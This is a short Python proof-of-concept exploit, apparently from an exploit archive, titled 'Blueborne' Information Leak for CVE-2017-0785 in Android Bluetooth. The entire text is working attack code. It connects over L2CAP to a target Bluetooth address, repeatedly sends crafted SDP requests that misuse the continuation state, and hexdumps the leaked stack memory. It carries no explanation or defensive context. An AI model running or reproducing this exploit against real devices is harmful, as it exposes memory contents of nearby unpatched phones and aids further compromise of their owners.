Android Bluetooth – ‘Blueborne’ Information Leak (2)
from pwn import * import bluetooth if not 'TARGET' in args: log.info("Usage: CVE-2017-0785.py TARGET=XX:XX:XX:XX:XX:XX") exit() target = args['TARGET'] service_long = 0x0100 service_short = 0x0001 mtu = 50 n = 30 def packet(service, continuation_state): pkt = '\x02\x00\x00' pkt += p16(7 + len(continuation_state)) pkt += '\x35\x03\x19' pkt += p16(service) pkt += '\x01\x00' pkt += continuation_state return pkt p = log.progress('Exploit') p.status('Creating L2CAP socket') sock = bluetooth.BluetoothSocket(bluetooth.L2CAP) bluetooth.set_l2cap_mtu(sock, mtu) context.endian = 'big' p.status('Connecting to target') sock.connect((target, 1)) p.status('Sending packet 0') sock.send(packet(service_long, '\x00')) data = sock.recv(mtu) if data[-3] != '\x02': log.error('Invalid continuation state received.') stack = '' for i in range(1, n): p.status('Sending packet %d' % i) sock.send(packet(service_short, data[-3:])) data = sock.recv(mtu) stack += data[9:-3] sock.close() p.success('Done') print hexdump(stack) |